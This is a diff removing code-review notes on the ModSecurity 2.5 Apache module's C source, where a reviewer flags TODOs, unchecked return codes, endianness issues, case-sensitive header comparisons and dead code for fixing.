- - - 2008-01-09 :: 12:59:17:580 GMT-08:00 - 2008-01-11 :: 14:49:00:349 GMT-08:00 - - brian - brian - apache2/apache2_config.c - item.type.label.suggestion - item.severity.label.trivial - Fix TODO or change to ENH. - AP_INIT_TAKE1 ( - "SecResponseBodyLimitAction", - cmd_response_body_limit_action, - NULL, - CMD_SCOPE_ANY, - "" // TODO - ), - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 13:00:04:205 GMT-08:00 - 2008-01-11 :: 14:50:22:367 GMT-08:00 - - brian - brian - apache2/apache2_config.c - item.type.label.suggestion - item.severity.label.trivial - Fix TODO or change to ENH. - AP_INIT_TAKE23 ( - "SecRule", - cmd_rule, - NULL, - CMD_SCOPE_ANY, - "" // TODO - ), - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 13:00:30:606 GMT-08:00 - 2008-01-11 :: 14:51:16:772 GMT-08:00 - - brian - brian - apache2/apache2_config.c - item.type.label.suggestion - item.severity.label.trivial - Fix TODO or change to ENH. - AP_INIT_TAKE12 ( - "SecRuleScript", - cmd_rule_script, - NULL, - CMD_SCOPE_ANY, - "" // TODO - ), - - AP_INIT_ITERATE ( - "SecRuleRemoveById", - cmd_rule_remove_by_id, - NULL, - CMD_SCOPE_ANY, - "" // TODO - ), - - AP_INIT_ITERATE ( - "SecRuleRemoveByMsg", - cmd_rule_remove_by_msg, - NULL, - CMD_SCOPE_ANY, - "" // TODO - ), - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 13:00:56:319 GMT-08:00 - 2008-01-11 :: 14:52:48:192 GMT-08:00 - - brian - brian - apache2/apache2_config.c - item.type.label.suggestion - item.severity.label.trivial - Fix TODO or change to ENH. - AP_INIT_TAKE1 ( - "SecTmpDir", - cmd_tmp_dir, - NULL, - CMD_SCOPE_ANY, - "" // TODO - ), - - AP_INIT_TAKE1 ( - "SecUploadDir", - cmd_upload_dir, - NULL, - CMD_SCOPE_ANY, - "" // TODO - ), - - AP_INIT_TAKE1 ( - "SecUploadKeepFiles", - cmd_upload_keep_files, - NULL, - CMD_SCOPE_ANY, - "" // TODO - ), - - AP_INIT_TAKE1 ( - "SecWebAppId", - cmd_web_app_id, - NULL, - CMD_SCOPE_ANY, - "" // TODO - ), - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 13:01:32:996 GMT-08:00 - 2008-01-11 :: 14:54:32:209 GMT-08:00 - - brian - brian - apache2/mod_security2.c - item.type.label.suggestion - item.severity.label.trivial - Fix TODO or change to ENH. - /* Update the request headers. They might have changed after - * the body was read (trailers). - */ - // TODO We still need to keep a copy of the original headers - // to log in the audit log. - msr->request_headers = apr_table_copy(msr->mp, r->headers_in); - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 13:02:05:035 GMT-08:00 - 2008-01-09 :: 13:02:47:482 GMT-08:00 - - brian - brian - apache2/modsecurity.c - item.type.label.suggestion - item.severity.label.trivial - Yes, why do we ignore the rc - why have one at all? - // TODO: Why do we ignore return code here? - modsecurity_request_body_clear(msr, &my_error_msg); - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 13:03:24:928 GMT-08:00 - 2008-01-09 :: 13:04:49:633 GMT-08:00 - - brian - brian - apache2/msc_geo.c - item.type.label.suggestion - item.severity.label.trivial - Fix TODO. - offset = -3; - apr_file_seek(geo->db, APR_END, &offset); - /* TODO check offset */ - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 13:04:20:937 GMT-08:00 - 2008-01-09 :: 13:04:39:295 GMT-08:00 - - brian - brian - apache2/msc_geo.c - item.type.label.suggestion - item.severity.label.trivial - Fix TODO. - rc = apr_file_read_full(geo->db, &buf, 1, &nbytes); - /* TODO: check rc */ - geo->dbtype = (int)buf[0]; - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 13:05:16:204 GMT-08:00 - 2008-01-09 :: 13:05:27:720 GMT-08:00 - - brian - brian - apache2/msc_geo.c - item.type.label.suggestion - item.severity.label.trivial - Fix TODO. - apr_file_seek(geo->db, APR_SET, &seekto); - /* TODO: check rc */ - rc = apr_file_read_full(geo->db, &buf, (2 * reclen), &nbytes); - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 13:05:58:953 GMT-08:00 - 2008-01-09 :: 13:06:03:494 GMT-08:00 - - brian - brian - apache2/msc_geo.c - item.type.label.suggestion - item.severity.label.trivial - Fix TODO. - apr_file_seek(geo->db, APR_SET, &seekto); - /* TODO: check rc */ - rc = apr_file_read_full(geo->db, &cbuf, sizeof(cbuf), &nbytes); - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 13:06:45:422 GMT-08:00 - 2008-01-11 :: 14:55:10:355 GMT-08:00 - - brian - brian - apache2/msc_logging.c - item.type.label.suggestion - item.severity.label.trivial - Fix TODO or change to ENH. - /* The audit log storage directory should be explicitly - * defined. But if it isn't try to write to the same - * directory where the index file is placed. Of course, - * it is *very* bad practice to allow the Apache user - * to write to the same directory where a root user is - * writing to but it's not us that's causing the problem - * and there isn't anything we can do about that. - * - * TODO Actually there is something we can do! We will make - * SecAuditStorageDir mandatory, ask the user to explicitly - * define the storage location *and* refuse to work if the - * index and the storage location are in the same folder. - */ - if (msr->txcfg->auditlog_storage_dir == NULL) { - entry_filename = file_dirname(msr->mp, msr->txcfg->auditlog_name); - } - else { - entry_filename = msr->txcfg->auditlog_storage_dir; - } - if (entry_filename == NULL) return; - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 13:07:22:398 GMT-08:00 - 2008-01-11 :: 14:55:42:896 GMT-08:00 - - brian - brian - apache2/msc_logging.c - item.type.label.suggestion - item.severity.label.trivial - Change TODO to ENH. - /* AUDITLOG_PART_UPLOADS */ - // TODO: Implement - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 13:08:02:613 GMT-08:00 - 2008-01-11 :: 15:51:28:546 GMT-08:00 - - brian - brian - apache2/msc_lua.c - item.type.label.missing - item.severity.label.trivial - Log an error. - } else { - // TODO Error - return NULL; - } - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 13:08:51:978 GMT-08:00 - 2008-01-09 :: 13:09:44:680 GMT-08:00 - - brian - brian - apache2/msc_util.c - item.type.label.suggestion - item.severity.label.normal - Fix TODO. - char *resolve_relative_path(apr_pool_t *pool, const char *parent_filename, const char *filename) { - if (filename == NULL) return NULL; - // TODO Support paths on operating systems other than Unix. - if (filename[0] == '/') return (char *)filename; - - return apr_pstrcat(pool, apr_pstrndup(pool, parent_filename, - strlen(parent_filename) - strlen(apr_filepath_name_get(parent_filename))), - filename, NULL); -} - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 13:10:22:786 GMT-08:00 - 2008-01-09 :: 13:10:31:982 GMT-08:00 - - brian - brian - apache2/pdf_protect.c - item.type.label.suggestion - item.severity.label.trivial - Change from TODO to ENH. - // TODO We need ID and REV values for the PDF XSS alert. - -// TODO It would be nice if the user could choose the ID/REV/SEVERITY/MESSAGE, etc. - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 13:10:53:181 GMT-08:00 - 2008-01-09 :: 13:11:06:931 GMT-08:00 - - brian - brian - apache2/pdf_protect.c - item.type.label.suggestion - item.severity.label.trivial - Change from TODO to ENH. - // TODO Should we look at err_headers_out too? - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 13:11:23:251 GMT-08:00 - 2008-01-09 :: 13:11:28:132 GMT-08:00 - - brian - brian - apache2/pdf_protect.c - item.type.label.suggestion - item.severity.label.trivial - Change from TODO to ENH. - // TODO application/x-pdf, application/vnd.fdf, application/vnd.adobe.xfdf, - // application/vnd.adobe.xdp+xml, application/vnd.adobe.xfd+xml, application/vnd.pdf - // application/acrobat, text/pdf, text/x-pdf ??? - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 13:11:54:942 GMT-08:00 - 2008-01-09 :: 13:12:24:617 GMT-08:00 - - brian - brian - apache2/pdf_protect.c - item.type.label.missing - item.severity.label.trivial - Add the missing alert. - // TODO Log alert - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 13:13:04:159 GMT-08:00 - 2008-01-09 :: 13:13:38:064 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.suggestion - item.severity.label.trivial - Not positive why the TODO here. Perhaps for a decision as to log and/or at what level? - msr_log(msr, 4, "Ctl: Set auditEngine to %d.", msr->txcfg->auditlog_flag); // TODO - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 13:14:02:379 GMT-08:00 - 2008-01-11 :: 15:42:21:749 GMT-08:00 - - brian - brian - apache2/re_operators.c - item.type.label.suggestion - item.severity.label.trivial - Change from TODO to ENH. - // TODO Write & use string_ends(s, e). - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 13:14:29:571 GMT-08:00 - 2008-01-11 :: 15:43:53:997 GMT-08:00 - - brian - brian - apache2/re_operators.c - item.type.label.suggestion - item.severity.label.trivial - Remove the ifdef as lua is required? - #ifdef WITH_LUA - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 13:17:47:759 GMT-08:00 - 2008-01-11 :: 15:41:12:538 GMT-08:00 - - brian - brian - CHANGES - item.type.label.suggestion - item.severity.label.trivial - Remove TODO. - TODO: more to come - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 13:35:00:891 GMT-08:00 - 2008-01-09 :: 13:35:40:975 GMT-08:00 - - brian - brian - apache2/modsecurity.h - item.type.label.optimization - item.severity.label.trivial - Need to re-test implementing this as just a table. - /* data cache */ - apr_hash_t *tcache; - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 13:37:04:264 GMT-08:00 - 2008-01-09 :: 13:37:25:196 GMT-08:00 - - brian - brian - apache2/modsecurity.h - item.type.label.suggestion - item.severity.label.trivial - Should probably use STRINGIFY and define the numeric value. - #define MODSEC_VERSION_MAJOR "2" -#define MODSEC_VERSION_MINOR "5" -#define MODSEC_VERSION_MAINT "0" -#define MODSEC_VERSION_TYPE "rc" -#define MODSEC_VERSION_RELEASE "1" - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 14:08:14:025 GMT-08:00 - 2008-01-11 :: 15:40:12:054 GMT-08:00 - - brian - brian - apache2/msc_logging.c - item.type.label.suggestion - item.severity.label.trivial - Spelling. - throught - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-09 :: 14:21:32:782 GMT-08:00 - 2008-01-09 :: 14:22:32:803 GMT-08:00 - - brian - brian - apache2/msc_geo.h - item.type.label.suggestion - item.severity.label.trivial - This value may not be portable based on endianness. The algorithm compares it to the IP address as int in host order. - #define GEO_COUNTRY_OFFSET 0xffff00 - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 14:31:25:720 GMT-08:00 - 2008-01-09 :: 14:45:20:612 GMT-08:00 - - brian - brian - apache2/msc_geo.c - item.type.label.suggestion - item.severity.label.trivial - Check portability due to endianness. It seems that the DB values are assumed to be in host order. Perhaps the compiled DB is little-endian and we need to compensate? - - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 15:28:14:563 GMT-08:00 - 2008-01-09 :: 15:28:24:203 GMT-08:00 - - brian - brian - apache2/msc_multipart.c - item.type.label.irrelevant - item.severity.label.trivial - Remove code? - #if 0 -static char *multipart_construct_filename(modsec_rec *msr) { - char c, *p, *q = msr->mpd->mpp->filename; - char *filename; - - /* find the last backward slash and consider the - * filename to be only what's right from it - */ - p = strrchr(q, '\\'); - if (p != NULL) q = p + 1; - - /* do the same for the forward slash */ - p = strrchr(q, '/'); - if (p != NULL) q = p + 1; - - /* allow letters, digits and dots, replace - * everything else with underscores - */ - p = filename = apr_pstrdup(msr->mp, q); - while((c = *p) != 0) { - if (!( isalnum(c)||(c == '.') )) *p = '_'; - p++; - } - - return filename; -} -#endif - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 15:35:50:978 GMT-08:00 - 2008-01-09 :: 15:49:54:128 GMT-08:00 - - brian - brian - apache2/msc_multipart.c - item.type.label.programLogic - item.severity.label.trivial - The multipart C-D header is case insensitive (rfc 2183), so we should probably use strncasecmp() here. - /* accept only what we understand */ - if (strncmp(c_d_value, "form-data", 9) != 0) { - return -1; - } - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 16:05:05:601 GMT-08:00 - 2008-01-09 :: 16:07:17:436 GMT-08:00 - - brian - brian - apache2/msc_multipart.c - item.type.label.suggestion - item.severity.label.trivial - This allows for a name of "", so maybe check for name[0] == '\0' and return an error. Although we catch this later on as an unrecognized name and return -10. - start = p; - while((*p != '\0')&&(*p != '=')&&(*p != '\t')&&(*p != ' ')) p++; - if (*p == '\0') return -4; - - name = apr_pstrmemdup(msr->mp, start, (p - start)); - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 16:14:36:307 GMT-08:00 - 2008-01-09 :: 17:02:47:324 GMT-08:00 - - brian - brian - apache2/msc_multipart.c - item.type.label.suggestion - item.severity.label.trivial - For a quoted value we just include everything until the end quote. The field values should be US-ASCII 'qtext' or 'quoted-pair' (RFC 822) or escaped using RFC 2047. - if (*p == '"') { - *t = '\0'; - break; - } - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 16:59:12:520 GMT-08:00 - 2008-01-09 :: 17:00:55:566 GMT-08:00 - - brian - brian - apache2/msc_multipart.c - item.type.label.suggestion - item.severity.label.trivial - I think this is wrong. RFC 822 defines a quoted-string as <"> *(qtext/quoted-pair) <"> and quoted-par being able to quote any CHAR. - /* only " and \ can be escaped */ - if ((*(p + 1) == '"')||(*(p + 1) == '\\')) { - p++; - } - else { - /* improper escaping */ - - /* We allow for now because IE sends - * improperly escaped content and there's - * nothing we can do about it. - * - * return -9; - */ - } - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-09 :: 17:04:30:357 GMT-08:00 - 2008-01-09 :: 17:05:19:369 GMT-08:00 - - brian - brian - apache2/msc_multipart.c - item.type.label.suggestion - item.severity.label.trivial - RFC 2045 defines an 'attribute' as "ALWAYS case-insensitive", so these should be strncasecmp() - if (strcmp(name, "name") == 0) { - if (msr->mpd->mpp->name != NULL) return -14; - msr->mpd->mpp->name = value; - - if (msr->txcfg->debuglog_level >= 9) { - msr_log(msr, 9, "Multipart: Content-Disposition name: %s", - log_escape_nq(msr->mp, value)); - } - } - else - if (strcmp(name, "filename") == 0) { - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-10 :: 12:24:59:317 GMT-08:00 - 2008-01-11 :: 16:58:44:275 GMT-08:00 - - brian - brian - apache2/msc_multipart.c - item.type.label.suggestion - item.severity.label.trivial - len is always assumed to be at least 1. What is preventing a len of 0? - if (len > 1) { - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-10 :: 12:27:34:472 GMT-08:00 - 2008-01-11 :: 15:39:17:001 GMT-08:00 - - brian - brian - apache2/msc_multipart.c - item.type.label.suggestion - item.severity.label.trivial - Use MULTIPART_BUF_SIZE for the constant. - if (strlen(new_value) > 4096) { - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-10 :: 13:04:27:048 GMT-08:00 - 2008-01-10 :: 13:04:57:229 GMT-08:00 - - brian - brian - apache2/msc_multipart.c - item.type.label.suggestion - item.severity.label.trivial - Cannot find anything that supports that this is or is not allowed. - /* Flag for whitespace after parameter name. */ - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-10 :: 13:05:06:226 GMT-08:00 - 2008-01-10 :: 13:05:11:552 GMT-08:00 - - brian - brian - apache2/msc_multipart.c - item.type.label.suggestion - item.severity.label.trivial - Cannot find anything that supports that this is or is not allowed. - /* Flag for whitespace before parameter value. */ - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-10 :: 13:12:20:299 GMT-08:00 - 2008-01-11 :: 15:38:39:261 GMT-08:00 - - brian - brian - apache2/msc_multipart.c - item.type.label.suggestion - item.severity.label.trivial - Use '\r' vs 0x0d as is done elsewhere. - if ((c == 0x0d)&&(msr->mpd->bufleft == 1)) { - /* we don't want to take 0x0d as the last byte in the buffer */ - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-10 :: 13:12:54:295 GMT-08:00 - 2008-01-11 :: 15:36:43:726 GMT-08:00 - - brian - brian - apache2/msc_multipart.c - item.type.label.suggestion - item.severity.label.trivial - Use '\n' vs 0x0a as is done elsewhere. - if ((c == 0x0a)||(msr->mpd->bufleft == 0)||(process_buffer)) { - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-10 :: 13:19:16:539 GMT-08:00 - 2008-01-11 :: 15:35:53:104 GMT-08:00 - - brian - brian - apache2/msc_parsers.c - item.type.label.suggestion - item.severity.label.trivial - Headers are not used. I think they were added for iconv support, but Ivan removed it. - #include "iconv.h" -#include <errno.h> - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-10 :: 13:26:56:609 GMT-08:00 - 2008-01-10 :: 13:27:21:817 GMT-08:00 - - brian - brian - apache2/msc_util.c - item.type.label.suggestion - item.severity.label.trivial - Be more consistent in naming. - #define VALID_HEX(X) (((X >= '0')&&(X <= '9')) || ((X >= 'a')&&(X <= 'f')) || ((X >= 'A')&&(X <= 'F'))) -#define ISODIGIT(X) ((X >= '0')&&(X <= '7')) - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-10 :: 13:32:29:278 GMT-08:00 - 2008-01-11 :: 16:51:13:950 GMT-08:00 - - brian - brian - apache2/msc_util.c - item.type.label.optimization - item.severity.label.trivial - No need to do a strlen twice *and* loop through the string. Just loop and exit on non-space. - if (strlen(string) == 0) return 1; - - for(i = 0; i < strlen(string); i++) { - if (!isspace(string[i])) { - return 0; - } - } - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-10 :: 13:35:40:307 GMT-08:00 - 2008-01-10 :: 13:36:03:933 GMT-08:00 - - brian - brian - apache2/modsecurity.c - item.type.label.irrelevant - item.severity.label.trivial - Remove commented code? - /* Serial audit log mutext */ - rc = apr_global_mutex_create(&msce->auditlog_lock, NULL, APR_LOCK_DEFAULT, mp); - if (rc != APR_SUCCESS) { - //ap_log_error(APLOG_MARK, APLOG_ERR, rv, s, "mod_security: Could not create modsec_auditlog_lock"); - //return HTTP_INTERNAL_SERVER_ERROR; - return -1; - } - - #ifdef __SET_MUTEX_PERMS - rc = unixd_set_global_mutex_perms(msce->auditlog_lock); - if (rc != APR_SUCCESS) { - // ap_log_error(APLOG_MARK, APLOG_ERR, rc, s, "mod_security: Could not set permissions on modsec_auditlog_lock; check User and Group directives"); - // return HTTP_INTERNAL_SERVER_ERROR; - return -1; - } - #endif - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-10 :: 13:36:28:229 GMT-08:00 - 2008-01-10 :: 13:36:52:702 GMT-08:00 - - brian - brian - apache2/modsecurity.c - item.type.label.suggestion - item.severity.label.trivial - What *should* we do on error here? - if (rc != APR_SUCCESS) { - // ap_log_error(APLOG_MARK, APLOG_ERR, rs, s, "Failed to child-init auditlog mutex"); - } - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-10 :: 13:37:17:326 GMT-08:00 - 2008-01-10 :: 13:37:25:682 GMT-08:00 - - brian - brian - apache2/modsecurity.c - item.type.label.suggestion - item.severity.label.trivial - This does nothing. - /** - * Releases resources held by engine instance. - */ -void modsecurity_shutdown(msc_engine *msce) { - if (msce == NULL) return; -} - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-10 :: 13:39:01:265 GMT-08:00 - 2008-01-10 :: 13:39:22:070 GMT-08:00 - - brian - brian - apache2/modsecurity.c - item.type.label.suggestion - item.severity.label.trivial - Figure out the optimal initial size for the arrays/tables. - /* Collections. */ - msr->tx_vars = apr_table_make(msr->mp, 32); - if (msr->tx_vars == NULL) return -1; - - msr->geo_vars = apr_table_make(msr->mp, 8); - if (msr->geo_vars == NULL) return -1; - - msr->collections = apr_table_make(msr->mp, 8); - if (msr->collections == NULL) return -1; - msr->collections_dirty = apr_table_make(msr->mp, 8); - if (msr->collections_dirty == NULL) return -1; - - /* Other */ - msr->tcache = apr_hash_make(msr->mp); - if (msr->tcache == NULL) return -1; - - msr->matched_rules = apr_array_make(msr->mp, 16, sizeof(void *)); - if (msr->matched_rules == NULL) return -1; - - msr->matched_var = (msc_string *)apr_pcalloc(msr->mp, sizeof(msc_string)); - if (msr->matched_var == NULL) return -1; - - msr->highest_severity = 255; /* high, invalid value */ - - msr->removed_rules = apr_array_make(msr->mp, 16, sizeof(char *)); - if (msr->removed_rules == NULL) return -1; - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-10 :: 13:42:33:518 GMT-08:00 - 2008-01-10 :: 13:42:50:351 GMT-08:00 - - brian - brian - apache2/msc_xml.c - item.type.label.suggestion - item.severity.label.trivial - Remove #if 0'd code? - #if 0 -static void xml_receive_sax_error(void *data, const char *msg, ...) { - modsec_rec *msr = (modsec_rec *)data; - char message[256]; - - if (msr == NULL) return; - - apr_snprintf(message, sizeof(message), "%s (line %d offset %d)", - log_escape_nq(msr->mp, msr->xml->parsing_ctx->lastError.message), - msr->xml->parsing_ctx->lastError.line, - msr->xml->parsing_ctx->lastError.int2); - - msr_log(msr, 5, "XML: Parsing error: %s", message); -} -#endif - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-10 :: 13:54:16:193 GMT-08:00 - 2008-01-10 :: 13:54:45:610 GMT-08:00 - - brian - brian - apache2/mod_security2.c - item.type.label.suggestion - item.severity.label.trivial - What is the history of this? - /* Our own hook to handle RPC transactions (not used at the moment). - * // ap_hook_handler(hook_handler, NULL, NULL, APR_HOOK_MIDDLE); - */ - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-10 :: 13:56:58:413 GMT-08:00 - 2008-01-11 :: 15:34:14:676 GMT-08:00 - - brian - brian - apache2/msc_lua.c - item.type.label.suggestion - item.severity.label.trivial - Change C++ to C style comment. - // Get the response from the script. - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - diff --git a/review/pre-2.5-brian.txt b/review/pre-2.5-brian.txt deleted file mode 100644 index 3f2f49f9..00000000 --- a/review/pre-2.5-brian.txt +++ /dev/null @@ -1,982 +0,0 @@ -File: apache2/apache2_config.c -=================================================================== -[brian] Irrelevant @ 1251 - -Remove code? - -/* -static const char *cmd_rule_import_by_id(cmd_parms *cmd, void *_dcfg, const char *p1) { - directory_config *dcfg = (directory_config *)_dcfg; - rule_exception *re = apr_pcalloc(cmd->pool, sizeof(rule_exception)); - if (dcfg == NULL) return NULL; - - re->type = RULE_EXCEPTION_IMPORT_ID; - // TODO verify p1 - re->param = p1; - *(rule_exception **)apr_array_push(dcfg->rule_exceptions) = re; - - return NULL; -} - -static const char *cmd_rule_import_by_msg(cmd_parms *cmd, void *_dcfg, const char *p1) { - directory_config *dcfg = (directory_config *)_dcfg; - rule_exception *re = apr_pcalloc(cmd->pool, sizeof(rule_exception)); - if (dcfg == NULL) return NULL; - - re->type = RULE_EXCEPTION_IMPORT_MSG; - // TODO verify p1 - re->param = p1; - *(rule_exception **)apr_array_push(dcfg->rule_exceptions) = re; - - return NULL; -} -*/ - - -[brian] Suggestion @ 1514 - -Could use strtol as Ivan has as well. - -intval = apr_atoi64(charval); - if (errno == ERANGE) { - return apr_psprintf(cmd->pool, "ModSecurity: SecCacheTransformations minlen out of range: %s", charval); - } - if (intval < 0) { - return apr_psprintf(cmd->pool, "ModSecurity: SecCacheTransformations minlen must be positive: %s", charval); - } - - -[brian] Suggestion @ 1522 - -Portable? - -/* The NOT_SET indicator is -1, a signed long, and therfore - * we cannot be >= the unsigned value of NOT_SET. - */ - if ((unsigned long)intval >= (unsigned long)NOT_SET) { - return apr_psprintf(cmd->pool, "ModSecurity: SecCacheTransformations minlen must be less than: %lu", (unsigned long)NOT_SET); - } - - -[brian] Suggestion @ 1534 - -Could use strtol as Ivan has as well. - -intval = apr_atoi64(charval); - if (errno == ERANGE) { - return apr_psprintf(cmd->pool, "ModSecurity: SecCacheTransformations maxlen out of range: %s", charval); - } - if (intval < 0) { - return apr_psprintf(cmd->pool, "ModSecurity: SecCacheTransformations maxlen must be positive: %s", charval); - } - - -[brian] Suggestion @ 1542 - -Portable? - -/* The NOT_SET indicator is -1, a signed long, and therfore - * we cannot be >= the unsigned value of NOT_SET. - */ - if ((unsigned long)intval >= (unsigned long)NOT_SET) { - return apr_psprintf(cmd->pool, "ModSecurity: SecCacheTransformations maxlen must be less than: %lu", (unsigned long)NOT_SET); - } - - - -File: apache2/apache2_io.c -=================================================================== -[brian] ProgramLogic @ 17 - -Remove code? It is actually used below, so need to verify. - -#if 0 -static void dummy_free_func(void *data) {} -#endif - - -[brian] ProgramLogic @ 92 - -dummy_free_func() is defined where? It is ifdef'd out at the top of source, so need to verify it is valid. - -/* Do not make a copy of the data we received in the chunk. */ - bucket = apr_bucket_heap_create(chunk->data, chunk->length, dummy_free_func, - f->r->connection->bucket_alloc); - - -[brian] ProgramLogic @ 224 - -Returning here may fail to free chunks data due to modsecurity_request_body_end() not being called. - -int rcbs = modsecurity_request_body_store(msr, buf, buflen, error_msg); - if (rcbs < 0) { - if (rcbs == -5) { - *error_msg = apr_psprintf(msr->mp, "Requests body no files data length is larger than the " - "configured limit (%lu).", msr->txcfg->reqbody_no_files_limit); - return -5; - } - - return -1; - } - - -[brian] Suggestion @ 246 - -Yes, why do we ignore the rc - why have one at all? - -// TODO: Why ignore the return code here? - - - -File: apache2/mod_security2.c -=================================================================== -[brian] Suggestion @ 1074 - -What is the history of this? - -/* Our own hook to handle RPC transactions (not used at the moment). - * // ap_hook_handler(hook_handler, NULL, NULL, APR_HOOK_MIDDLE); - */ - - - -File: apache2/modsecurity.c -=================================================================== -[brian] Irrelevant @ 100 - -Remove commented code? - -/* Serial audit log mutext */ - rc = apr_global_mutex_create(&msce->auditlog_lock, NULL, APR_LOCK_DEFAULT, mp); - if (rc != APR_SUCCESS) { - //ap_log_error(APLOG_MARK, APLOG_ERR, rv, s, "mod_security: Could not create modsec_auditlog_lock"); - //return HTTP_INTERNAL_SERVER_ERROR; - return -1; - } - - #ifdef __SET_MUTEX_PERMS - rc = unixd_set_global_mutex_perms(msce->auditlog_lock); - if (rc != APR_SUCCESS) { - // ap_log_error(APLOG_MARK, APLOG_ERR, rc, s, "mod_security: Could not set permissions on modsec_auditlog_lock; check User and Group directives"); - // return HTTP_INTERNAL_SERVER_ERROR; - return -1; - } - #endif - - -[brian] Suggestion @ 126 - -What *should* we do on error here? - -if (rc != APR_SUCCESS) { - // ap_log_error(APLOG_MARK, APLOG_ERR, rs, s, "Failed to child-init auditlog mutex"); - } - - -[brian] Suggestion @ 132 - -This does nothing. - -/** - * Releases resources held by engine instance. - */ -void modsecurity_shutdown(msc_engine *msce) { - if (msce == NULL) return; -} - - -[brian] Suggestion @ 178 - -Yes, why do we ignore the rc - why have one at all? - -// TODO: Why do we ignore return code here? - modsecurity_request_body_clear(msr, &my_error_msg); - - -[brian] Suggestion @ 196 - -Good. This looks to solve the other issues noted as possible memory leaks in body chunk data due to modsecurity_request_body_end() not being called. Need to verify, though. - -/* Register TX cleanup */ - apr_pool_cleanup_register(msr->mp, msr, modsecurity_tx_cleanup, apr_pool_cleanup_null); - - -[brian] Suggestion @ 298 - -Figure out the optimal initial size for the arrays/tables. - -/* Collections. */ - msr->tx_vars = apr_table_make(msr->mp, 32); - if (msr->tx_vars == NULL) return -1; - - msr->geo_vars = apr_table_make(msr->mp, 8); - if (msr->geo_vars == NULL) return -1; - - msr->collections = apr_table_make(msr->mp, 8); - if (msr->collections == NULL) return -1; - msr->collections_dirty = apr_table_make(msr->mp, 8); - if (msr->collections_dirty == NULL) return -1; - - /* Other */ - msr->tcache = apr_hash_make(msr->mp); - if (msr->tcache == NULL) return -1; - - msr->matched_rules = apr_array_make(msr->mp, 16, sizeof(void *)); - if (msr->matched_rules == NULL) return -1; - - msr->matched_var = (msc_string *)apr_pcalloc(msr->mp, sizeof(msc_string)); - if (msr->matched_var == NULL) return -1; - - msr->highest_severity = 255; /* high, invalid value */ - - msr->removed_rules = apr_array_make(msr->mp, 16, sizeof(char *)); - if (msr->removed_rules == NULL) return -1; - - - -File: apache2/modsecurity.h -=================================================================== -[brian] Suggestion @ 63 - -Should probably use STRINGIFY and define the numeric value. - -#define MODSEC_VERSION_MAJOR "2" -#define MODSEC_VERSION_MINOR "5" -#define MODSEC_VERSION_MAINT "0" -#define MODSEC_VERSION_TYPE "rc" -#define MODSEC_VERSION_RELEASE "1" - - -[brian] Optimization @ 363 - -Need to re-test implementing this as just a table. - -/* data cache */ - apr_hash_t *tcache; - - - -File: apache2/msc_geo.c -=================================================================== -[brian] Suggestion - -Check portability due to endianness. It seems that the DB values are assumed to be in host order. Perhaps the compiled DB is little-endian and we need to compensate? - - -[brian] Suggestion @ 153 - -Fix TODO. - -offset = -3; - apr_file_seek(geo->db, APR_END, &offset); - /* TODO check offset */ - - -[brian] Suggestion @ 176 - -Fix TODO. - -rc = 